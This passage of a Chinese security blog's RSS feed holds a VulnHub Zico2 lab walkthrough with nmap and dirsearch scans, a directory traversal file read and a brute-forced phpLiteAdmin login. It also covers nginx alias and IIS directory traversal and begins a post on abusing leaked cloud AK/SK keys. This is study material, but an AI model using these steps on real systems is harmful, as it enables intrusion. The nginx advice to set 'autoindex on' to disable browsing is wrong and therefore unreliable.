class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;InitialDirContext&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Attributes&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;attrs&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getAttributes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;dns:/www.baidu.com&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;new&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;String&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;A&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;});&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;System&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;attrs&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;A&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="n"&gt;A&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;111&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;206&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;208&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;135&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;111&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;206&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;208&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="na"&gt;133&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-1" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202409241452303.png" alt="image-20240924145245270" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-1" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202409241452303.png" alt="image-20240924145245270"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;</description></item><item><title>Zico2靶场</title><link>http://blog.foreverwl.top/blog/zico2%E9%9D%B6%E5%9C%BA/</link><pubDate>Mon, 09 Sep 2024 06:42:21 +0800</pubDate><guid>http://blog.foreverwl.top/blog/zico2%E9%9D%B6%E5%9C%BA/</guid><description>&lt;h1 id="作业1--zico2靶场渗透测试"&gt;&#10; 作业1--Zico2靶场渗透测试&lt;a class="heading-anchor" href="#%e4%bd%9c%e4%b8%9a1--zico2%e9%9d%b6%e5%9c%ba%e6%b8%97%e9%80%8f%e6%b5%8b%e8%af%95" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h1&gt;&#10;&#10;&#10;&#10;&lt;h2 id="环境搭建"&gt;&#10; 环境搭建&lt;a class="heading-anchor" href="#%e7%8e%af%e5%a2%83%e6%90%ad%e5%bb%ba" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;靶机下载地址&lt;a href="https://www.vulnhub.com/entry/zico2-1,210/#release"&gt;zico2: 1 ~ VulnHub&lt;/a&gt;&lt;/p&gt;&#10;&lt;p&gt;攻击机kali IP:192.168.26.128&lt;/p&gt;&#10;&lt;p&gt;网络nat即可&lt;/p&gt;&#10;&lt;p&gt;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-0" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202409071355055.png" alt="image-20240907135551973" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-0" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202409071355055.png" alt="image-20240907135551973"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h2 id="渗透过程"&gt;&#10; 渗透过程&lt;a class="heading-anchor" href="#%e6%b8%97%e9%80%8f%e8%bf%87%e7%a8%8b" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&#10;&#10;&#10;&#10;&lt;h3 id="信息收集"&gt;&#10; 信息收集&lt;a class="heading-anchor" href="#%e4%bf%a1%e6%81%af%e6%94%b6%e9%9b%86" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h3&gt;&#10;&lt;p&gt;先找出待测试靶机的ip&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;namp -sP 192.168.26.0/24&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-1" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202409071411158.png" alt="image-20240907141136096" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-1" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202409071411158.png" alt="image-20240907141136096"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;判断192.168.26.132就是靶机的ip。&lt;/p&gt;&#10;&lt;p&gt;先访问测试一下。&lt;/p&gt;&#10;&lt;p&gt;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-2" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202409071412264.png" alt="image-20240907141224105" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-2" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202409071412264.png" alt="image-20240907141224105"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;没问题可以尝试先测试一个这个网站的功能。貌似没有什么有用的功能，那就去看一下开放的端口&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nmap -p 1-65535 192.168.26.132&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-3" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202409071421721.png" alt="image-20240907142151680" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-3" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202409071421721.png" alt="image-20240907142151680"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;可以看到开放的一些端口，但是暂时没什么用。还回到页面。&lt;/p&gt;&#10;&lt;p&gt;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-4" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202409071422123.png" alt="image-20240907142247048" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-4" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202409071422123.png" alt="image-20240907142247048"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;这里看到一个参数page，尝试目录穿越包含其他文件读取。&lt;/p&gt;&#10;&lt;p&gt;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-5" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202409071423634.png" alt="image-20240907142358600" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-5" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202409071423634.png" alt="image-20240907142358600"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;没问题，目录穿越直接就能读取文件了。&lt;/p&gt;&#10;&lt;p&gt;暂时不知道网站的目录位置，尝试去扫描一下网站。&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-fallback" data-lang="fallback"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;┌──(root㉿kali)-[~/dirsearch]&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;└─# python dirsearch.py -u http://192.168.26.132/ -i 200-399&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-6" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202409071430953.png" alt="image-20240907143004912" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-6" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202409071430953.png" alt="image-20240907143004912"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;dbadmin应该是数据库管理后台，需要密码的呢登录，然后用的是phpLiteAdmin v1.9.3，可以尝试去找一下这个版本是否存在公开的漏洞。&lt;/p&gt;&#10;&lt;p&gt;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-7" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202409071432069.png" alt="image-20240907143246033" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-7" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202409071432069.png" alt="image-20240907143246033"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;存在php远程代码执行漏洞，但是要登录到后台，且需要有写的权限。&lt;/p&gt;&#10;&lt;p&gt;尝试爆破密码，直接就出来了admin&lt;/p&gt;&#10;&lt;p&gt;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-8" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202409071456614.png" alt="image-20240907145627554" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-8" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202409071456614.png" alt="image-20240907145627554"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;可以看看info表&lt;/p&gt;&#10;&lt;p&gt;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-9" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202409071524587.png" alt="image-20240907152422558" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-9" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202409071524587.png" alt="image-20240907152422558"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;</description></item><item><title>目录穿越(目录遍历)总结</title><link>http://blog.foreverwl.top/blog/%E7%9B%AE%E5%BD%95%E7%A9%BF%E8%B6%8A%E7%9B%AE%E5%BD%95%E9%81%8D%E5%8E%86%E6%80%BB%E7%BB%93/</link><pubDate>Tue, 30 Jul 2024 12:49:36 +0800</pubDate><guid>http://blog.foreverwl.top/blog/%E7%9B%AE%E5%BD%95%E7%A9%BF%E8%B6%8A%E7%9B%AE%E5%BD%95%E9%81%8D%E5%8E%86%E6%80%BB%E7%BB%93/</guid><description>&lt;h2 id="前言"&gt;&#10; 前言&lt;a class="heading-anchor" href="#%e5%89%8d%e8%a8%80" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;在前段时间省级hw期间，这个漏洞还是暴漏的不少的，并且危害不小；然后就通过这篇文章记录一下关于这个洞的一些细节。&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h2 id="nginx目录穿越"&gt;&#10; nginx目录穿越&lt;a class="heading-anchor" href="#nginx%e7%9b%ae%e5%bd%95%e7%a9%bf%e8%b6%8a" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;在nginx配置中，有一个关键字&lt;code&gt;autoindex&lt;/code&gt;。他的作用就是是否开启目录浏览；也就是是否能看到目录下的文件。&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-java" data-lang="java"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;location&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;autoindex&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;on&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;//autoindex off;&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;alias&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;home&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;这里再说明一下关键字root和alias。其实很好区别，看下边的两个例子：&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-java" data-lang="java"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;location&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;autoindex&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;on&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;alias&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;home&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;----------------------------------&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;location&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;autoindex&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;on&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;root&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;home&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;第一种访问test时候，当前文件就是在/home下,第二种访问/test时候当前目录是在/home/test下。&lt;/p&gt;&#10;&lt;p&gt;然后讲一下这个漏洞，归根就是配置的问题。可能有的工作人员因为粗心等，导致配置出错。&lt;/p&gt;&#10;&lt;p&gt;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-0" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202407281941457.png" alt="image-20240728194110320" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-0" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202407281941457.png" alt="image-20240728194110320"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h3 id="漏洞复现"&gt;&#10; 漏洞复现&lt;a class="heading-anchor" href="#%e6%bc%8f%e6%b4%9e%e5%a4%8d%e7%8e%b0" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h3&gt;&#10;&lt;p&gt;如果配置/test后边不加/的话我们使用&lt;code&gt;..&lt;/code&gt;就会导致访问/home的上一级目录，也就是根目录。&lt;/p&gt;&#10;&lt;p&gt;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-1" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202407281946592.png" alt="image-20240728194640533" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-1" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202407281946592.png" alt="image-20240728194640533"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;所以配置文件一定要写好，不然会出现不必要的麻烦。如果我们不需要目录浏览功能的话，可以直接在/etc/nginx/sites-avaliable/default配置文件下写上 autoindex on;&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h2 id="iis目录遍历"&gt;&#10; IIS目录遍历&lt;a class="heading-anchor" href="#iis%e7%9b%ae%e5%bd%95%e9%81%8d%e5%8e%86" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;在IIS网站属性中，在主目录设置有一个是否开启目录浏览的选项，如果打开访问网站则能看到文件的目录。&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h3 id="漏洞复现-1"&gt;&#10; 漏洞复现&lt;a class="heading-anchor" href="#%e6%bc%8f%e6%b4%9e%e5%a4%8d%e7%8e%b0-1" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h3&gt;&#10;&lt;p&gt;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a href="#lightbox-2" class="digio-lightbox-open"&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202407301709600.png" alt="image-20240730170922494" loading="lazy"&gt;&#10; &lt;/a&gt;&#10; &lt;div class="digio-lightbox-overlay" id="lightbox-2" role="dialog" aria-modal="true"&gt;&#10; &lt;a class="digio-lightbox-close" href="#" aria-label="close"&gt;&amp;times;&lt;/a&gt;&#10; &lt;img src="https://foreverwlwl.oss-cn-beijing.aliyuncs.com/typora/202407301709600.png" alt="image-20240730170922494"&gt;&#10; &#10; &lt;/div&gt;&#10;&lt;/figure&gt;&#10;&lt;/p&gt;</description></item><item><title>云主机SK/AK泄露利用</title><link>http://blog.foreverwl.top/blog/%E4%BA%91%E4%B8%BB%E6%9C%BAsk-ak%E6%B3%84%E9%9C%B2%E5%88%A9%E7%94%A8/</link><pubDate>Tue, 30 Jul 2024 09:15:20 +0800</pubDate><guid>http://blog.foreverwl.top/blog/%E4%BA%91%E4%B8%BB%E6%9C%BAsk-ak%E6%B3%84%E9%9C%B2%E5%88%A9%E7%94%A8/</guid><description>&lt;h2 id="前言"&gt;&#10; 前言&lt;a class="heading-anchor" href="#%e5%89%8d%e8%a8%80" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;昨天看了一份hw报告，其中是对云主机泄露了AK/SK的利用，之前没有接触过。今天来学习记录一下。本文章主要讲理论和一些工具介绍以及如何防护。&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h2 id="介绍"&gt;&#10; 介绍&lt;a class="heading-anchor" href="#%e4%bb%8b%e7%bb%8d" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&#10;&#10;&#10;&#10;&lt;h4 id="什么是skak"&gt;&#10; 什么是SK/AK&lt;a class="heading-anchor" href="#%e4%bb%80%e4%b9%88%e6%98%afskak" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h4&gt;&#10;&lt;p&gt;云主机通过&lt;strong&gt;Access Key Id / Secret Access Key加密的方法来验证某个请求的发送者身份&lt;/strong&gt;。其中SK就是Secret Access Key；AK就是Access Key Id 。云SK/AK是用来生成用户和云平台API通信的访问凭证。AK/SK原理使用对称加解密。这样的话，也就是如果我们拿到了AK/SK,我们就有云主机的权限了。&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h2 id="skak泄露"&gt;&#10; SK/AK泄露&lt;a class="heading-anchor" href="#skak%e6%b3%84%e9%9c%b2" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h2&gt;&#10;&lt;p&gt;大部分云主机都支持AK/SK认证的方式。用于API的调用，如果导致泄露，那么就能够攻击服务器。&lt;/p&gt;&#10;&#10;&#10;&#10;&lt;h3 id="泄露场景"&gt;&#10; 泄露场景&lt;a class="heading-anchor" href="#%e6%b3%84%e9%9c%b2%e5%9c%ba%e6%99%af" aria-label="链接到本节"&gt;&lt;/a&gt;&#10;&lt;/h3&gt;&#10;&lt;p&gt;1、报错页面或者debug信息调试。&lt;/p&gt;&#10;&lt;p&gt;2、GITHUB关键字、FOFA等。（阿里的已经采取相应的措施）&lt;/p&gt;&#10;&lt;p&gt;&#10;&lt;figure class="digio-lightbox"&gt;&#10; &lt;a 